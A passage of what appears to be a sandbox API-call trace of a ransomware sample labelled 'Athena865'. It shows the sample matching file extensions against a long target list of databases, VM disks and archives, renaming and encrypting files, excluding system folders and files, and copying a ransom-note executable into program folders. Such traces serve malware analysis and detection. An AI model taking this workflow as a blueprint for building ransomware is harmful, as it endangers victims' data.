[0093.842] lstrcmpiW (lpString1="ins", lpString2="owc") returned -1 [0093.842] lstrlenW (lpString="p96") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="p96") returned -1 [0093.842] lstrlenW (lpString="p97") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="p97") returned -1 [0093.842] lstrlenW (lpString="pan") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="pan") returned -1 [0093.842] lstrlenW (lpString="pdb") returned 3 [0093.842] lstrcmpiW (lpString1="ins", lpString2="pdb") returned -1 [0093.842] lstrlenW (lpString="pdm") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="pdm") returned -1 [0093.843] lstrlenW (lpString="pnz") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="pnz") returned -1 [0093.843] lstrlenW (lpString="qry") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="qry") returned -1 [0093.843] lstrlenW (lpString="qvd") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="qvd") returned -1 [0093.843] lstrlenW (lpString="rbf") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="rbf") returned -1 [0093.843] lstrlenW (lpString="rctd") returned 4 [0093.843] lstrcmpiW (lpString1=".ins", lpString2="rctd") returned -1 [0093.843] lstrlenW (lpString="rod") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="rod") returned -1 [0093.843] lstrlenW (lpString="rodx") returned 4 [0093.843] lstrcmpiW (lpString1=".ins", lpString2="rodx") returned -1 [0093.843] lstrlenW (lpString="rpd") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="rpd") returned -1 [0093.843] lstrlenW (lpString="rsd") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="rsd") returned -1 [0093.843] lstrlenW (lpString="sas7bdat") returned 8 [0093.843] lstrcmpiW (lpString1="tall.ins", lpString2="sas7bdat") returned 1 [0093.843] lstrlenW (lpString="sbf") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="sbf") returned -1 [0093.843] lstrlenW (lpString="scx") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="scx") returned -1 [0093.843] lstrlenW (lpString="sdb") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="sdb") returned -1 [0093.843] lstrlenW (lpString="sdc") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="sdc") returned -1 [0093.843] lstrlenW (lpString="sdf") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="sdf") returned -1 [0093.843] lstrlenW (lpString="sis") returned 3 [0093.843] lstrcmpiW (lpString1="ins", lpString2="sis") returned -1 [0093.844] lstrlenW (lpString="spq") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="spq") returned -1 [0093.844] lstrlenW (lpString="te") returned 2 [0093.844] lstrcmpiW (lpString1="ns", lpString2="te") returned -1 [0093.844] lstrlenW (lpString="teacher") returned 7 [0093.844] lstrcmpiW (lpString1="all.ins", lpString2="teacher") returned -1 [0093.844] lstrlenW (lpString="tmd") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="tmd") returned -1 [0093.844] lstrlenW (lpString="tps") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="tps") returned -1 [0093.844] lstrlenW (lpString="trc") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="trc") returned -1 [0093.844] lstrlenW (lpString="trc") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="trc") returned -1 [0093.844] lstrlenW (lpString="trm") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="trm") returned -1 [0093.844] lstrlenW (lpString="udb") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="udb") returned -1 [0093.844] lstrlenW (lpString="udl") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="udl") returned -1 [0093.844] lstrlenW (lpString="usr") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="usr") returned -1 [0093.844] lstrlenW (lpString="v12") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="v12") returned -1 [0093.844] lstrlenW (lpString="vis") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="vis") returned -1 [0093.844] lstrlenW (lpString="vpd") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="vpd") returned -1 [0093.844] lstrlenW (lpString="vvv") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="vvv") returned -1 [0093.844] lstrlenW (lpString="wdb") returned 3 [0093.844] lstrcmpiW (lpString1="ins", lpString2="wdb") returned -1 [0093.844] lstrlenW (lpString="wmdb") returned 4 [0093.844] lstrcmpiW (lpString1=".ins", lpString2="wmdb") returned -1 [0093.845] lstrlenW (lpString="wrk") returned 3 [0093.845] lstrcmpiW (lpString1="ins", lpString2="wrk") returned -1 [0093.845] lstrlenW (lpString="xdb") returned 3 [0093.845] lstrcmpiW (lpString1="ins", lpString2="xdb") returned -1 [0093.845] lstrlenW (lpString="xld") returned 3 [0093.845] lstrcmpiW (lpString1="ins", lpString2="xld") returned -1 [0093.845] lstrlenW (lpString="xmlff") returned 5 [0093.845] lstrcmpiW (lpString1="l.ins", lpString2="xmlff") returned -1 [0093.845] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins.Athena865") returned 69 [0093.845] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\install.ins.athena865"), dwFlags=0x1) returned 1 [0093.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\install.ins.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.846] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=460) returned 1 [0093.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.847] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.847] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.847] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d0, lpName=0x0) returned 0x17c [0093.849] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d0) returned 0x100000 [0093.850] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.850] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.851] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.851] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.851] CloseHandle (hObject=0x17c) returned 1 [0093.852] CloseHandle (hObject=0x154) returned 1 [0093.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.853] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0093.853] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0093.853] ReleaseMutex (hMutex=0xec) returned 1 [0093.853] CloseHandle (hObject=0xec) returned 1 [0093.853] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Java\\jre7" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0093.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517398 | out: hHeap=0x4f0000) returned 1 [0093.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c578 | out: hHeap=0x4f0000) returned 1 [0093.853] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7") returned 32 [0093.853] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A8DDF23BE21DF314F71F08D4B59749B9") returned 0xec [0093.853] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0093.853] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0093.853] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0093.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\how to back your files.exe"), bFailIfExists=1) returned 0 [0093.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0093.854] GetLastError () returned 0x0 [0093.854] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0093.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0093.854] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0093.855] CloseHandle (hObject=0xf4) returned 1 [0093.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0093.855] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0093.855] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc11e8c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0093.855] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.855] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.855] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.855] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc11e8c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.855] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.855] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.855] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.855] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.855] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.855] lstrcmpiW (lpString1="bin", lpString2=".") returned 1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="..") returned 1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="windows") returned -1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="bootmgr") returned -1 [0093.855] lstrcmpiW (lpString1="bin", lpString2="temp") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="pagefile.sys") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="boot") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="ids.txt") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="ntuser.dat") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="perflogs") returned -1 [0093.856] lstrcmpiW (lpString1="bin", lpString2="MSBuild") returned -1 [0093.856] lstrlenW (lpString="bin") returned 3 [0093.856] lstrcpyW (in: lpString1=0x241e88a, lpString2="bin" | out: lpString1="bin") returned="bin" [0093.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c578 [0093.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516268 [0093.856] lstrcatW (in: lpString1="bin", lpString2="\\" | out: lpString1="bin\\") returned="bin\\" [0093.856] lstrcatW (in: lpString1="bin\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="bin\\HOW TO BACK YOUR FILES.exe") returned="bin\\HOW TO BACK YOUR FILES.exe" [0093.856] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1 [0093.859] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2="windows") returned -1 [0093.859] lstrcmpiW (lpString1="COPYRIGHT", lpString2="bootmgr") returned 1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="temp") returned -1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="pagefile.sys") returned -1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="boot") returned 1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="ids.txt") returned -1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="ntuser.dat") returned -1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="perflogs") returned -1 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2="MSBuild") returned -1 [0093.860] lstrlenW (lpString="COPYRIGHT") returned 9 [0093.860] lstrcpyW (in: lpString1=0x241e88a, lpString2="COPYRIGHT" | out: lpString1="COPYRIGHT") returned="COPYRIGHT" [0093.860] lstrlenW (lpString="COPYRIGHT") returned 9 [0093.860] lstrlenW (lpString="Athena865") returned 9 [0093.860] lstrlenW (lpString=".dll") returned 4 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".dll") returned 1 [0093.860] lstrlenW (lpString=".lnk") returned 4 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".lnk") returned 1 [0093.860] lstrlenW (lpString=".ini") returned 4 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".ini") returned 1 [0093.860] lstrlenW (lpString=".sys") returned 4 [0093.860] lstrcmpiW (lpString1="COPYRIGHT", lpString2=".sys") returned 1 [0093.860] lstrlenW (lpString="COPYRIGHT") returned 9 [0093.860] lstrlenW (lpString="bak") returned 3 [0093.860] lstrcmpiW (lpString1="GHT", lpString2="bak") returned 1 [0093.860] lstrlenW (lpString="ba_") returned 3 [0093.860] lstrcmpiW (lpString1="GHT", lpString2="ba_") returned 1 [0093.860] lstrlenW (lpString="dbb") returned 3 [0093.860] lstrcmpiW (lpString1="GHT", lpString2="dbb") returned 1 [0093.860] lstrlenW (lpString="vmdk") returned 4 [0093.860] lstrcmpiW (lpString1="IGHT", lpString2="vmdk") returned -1 [0093.860] lstrlenW (lpString="rar") returned 3 [0093.860] lstrcmpiW (lpString1="GHT", lpString2="rar") returned -1 [0093.860] lstrlenW (lpString="zip") returned 3 [0093.860] lstrcmpiW (lpString1="GHT", lpString2="zip") returned -1 [0093.861] lstrlenW (lpString="tgz") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="tgz") returned -1 [0093.861] lstrlenW (lpString="vbox") returned 4 [0093.861] lstrcmpiW (lpString1="IGHT", lpString2="vbox") returned -1 [0093.861] lstrlenW (lpString="vdi") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="vdi") returned -1 [0093.861] lstrlenW (lpString="vhd") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="vhd") returned -1 [0093.861] lstrlenW (lpString="vhdx") returned 4 [0093.861] lstrcmpiW (lpString1="IGHT", lpString2="vhdx") returned -1 [0093.861] lstrlenW (lpString="avhd") returned 4 [0093.861] lstrcmpiW (lpString1="IGHT", lpString2="avhd") returned 1 [0093.861] lstrlenW (lpString="db") returned 2 [0093.861] lstrcmpiW (lpString1="HT", lpString2="db") returned 1 [0093.861] lstrlenW (lpString="db2") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="db2") returned 1 [0093.861] lstrlenW (lpString="db3") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="db3") returned 1 [0093.861] lstrlenW (lpString="dbf") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="dbf") returned 1 [0093.861] lstrlenW (lpString="mdf") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="mdf") returned -1 [0093.861] lstrlenW (lpString="mdb") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="mdb") returned -1 [0093.861] lstrlenW (lpString="sql") returned 3 [0093.861] lstrcmpiW (lpString1="GHT", lpString2="sql") returned -1 [0093.861] lstrlenW (lpString="sqlite") returned 6 [0093.861] lstrcmpiW (lpString1="YRIGHT", lpString2="sqlite") returned 1 [0093.861] lstrlenW (lpString="sqlite3") returned 7 [0093.861] lstrcmpiW (lpString1="PYRIGHT", lpString2="sqlite3") returned -1 [0093.861] lstrlenW (lpString="sqlitedb") returned 8 [0093.861] lstrcmpiW (lpString1="OPYRIGHT", lpString2="sqlitedb") returned -1 [0093.861] lstrlenW (lpString="xml") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="xml") returned -1 [0093.862] lstrlenW (lpString="$er") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="$er") returned 1 [0093.862] lstrlenW (lpString="4dd") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="4dd") returned 1 [0093.862] lstrlenW (lpString="4dl") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="4dl") returned 1 [0093.862] lstrlenW (lpString="^^^") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="^^^") returned 1 [0093.862] lstrlenW (lpString="abs") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="abs") returned 1 [0093.862] lstrlenW (lpString="abx") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="abx") returned 1 [0093.862] lstrlenW (lpString="accdb") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accdb") returned 1 [0093.862] lstrlenW (lpString="accdc") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accdc") returned 1 [0093.862] lstrlenW (lpString="accde") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accde") returned 1 [0093.862] lstrlenW (lpString="accdr") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accdr") returned 1 [0093.862] lstrlenW (lpString="accdt") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accdt") returned 1 [0093.862] lstrlenW (lpString="accdw") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accdw") returned 1 [0093.862] lstrlenW (lpString="accft") returned 5 [0093.862] lstrcmpiW (lpString1="RIGHT", lpString2="accft") returned 1 [0093.862] lstrlenW (lpString="adb") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="adb") returned 1 [0093.862] lstrlenW (lpString="adb") returned 3 [0093.862] lstrcmpiW (lpString1="GHT", lpString2="adb") returned 1 [0093.863] lstrlenW (lpString="ade") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="ade") returned 1 [0093.863] lstrlenW (lpString="adf") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="adf") returned 1 [0093.863] lstrlenW (lpString="adn") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="adn") returned 1 [0093.863] lstrlenW (lpString="adp") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="adp") returned 1 [0093.863] lstrlenW (lpString="alf") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="alf") returned 1 [0093.863] lstrlenW (lpString="ask") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="ask") returned 1 [0093.863] lstrlenW (lpString="btr") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="btr") returned 1 [0093.863] lstrlenW (lpString="cat") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="cat") returned 1 [0093.863] lstrlenW (lpString="cdb") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="cdb") returned 1 [0093.863] lstrlenW (lpString="ckp") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="ckp") returned 1 [0093.863] lstrlenW (lpString="cma") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="cma") returned 1 [0093.863] lstrlenW (lpString="cpd") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="cpd") returned 1 [0093.863] lstrlenW (lpString="dacpac") returned 6 [0093.863] lstrcmpiW (lpString1="YRIGHT", lpString2="dacpac") returned 1 [0093.863] lstrlenW (lpString="dad") returned 3 [0093.863] lstrcmpiW (lpString1="GHT", lpString2="dad") returned 1 [0093.863] lstrlenW (lpString="dadiagrams") returned 10 [0093.863] lstrlenW (lpString="daschema") returned 8 [0093.863] lstrcmpiW (lpString1="OPYRIGHT", lpString2="daschema") returned 1 [0093.863] lstrlenW (lpString="db-journal") returned 10 [0093.864] lstrlenW (lpString="db-shm") returned 6 [0093.864] lstrcmpiW (lpString1="YRIGHT", lpString2="db-shm") returned 1 [0093.864] lstrlenW (lpString="db-wal") returned 6 [0093.864] lstrcmpiW (lpString1="YRIGHT", lpString2="db-wal") returned 1 [0093.864] lstrlenW (lpString="dbc") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dbc") returned 1 [0093.864] lstrlenW (lpString="dbs") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dbs") returned 1 [0093.864] lstrlenW (lpString="dbt") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dbt") returned 1 [0093.864] lstrlenW (lpString="dbv") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dbv") returned 1 [0093.864] lstrlenW (lpString="dbx") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dbx") returned 1 [0093.864] lstrlenW (lpString="dcb") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dcb") returned 1 [0093.864] lstrlenW (lpString="dct") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dct") returned 1 [0093.864] lstrlenW (lpString="dcx") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dcx") returned 1 [0093.864] lstrlenW (lpString="ddl") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="ddl") returned 1 [0093.864] lstrlenW (lpString="dlis") returned 4 [0093.864] lstrcmpiW (lpString1="IGHT", lpString2="dlis") returned 1 [0093.864] lstrlenW (lpString="dp1") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dp1") returned 1 [0093.864] lstrlenW (lpString="dqy") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dqy") returned 1 [0093.864] lstrlenW (lpString="dsk") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dsk") returned 1 [0093.864] lstrlenW (lpString="dsn") returned 3 [0093.864] lstrcmpiW (lpString1="GHT", lpString2="dsn") returned 1 [0093.865] lstrlenW (lpString="dtsx") returned 4 [0093.865] lstrcmpiW (lpString1="IGHT", lpString2="dtsx") returned 1 [0093.865] lstrlenW 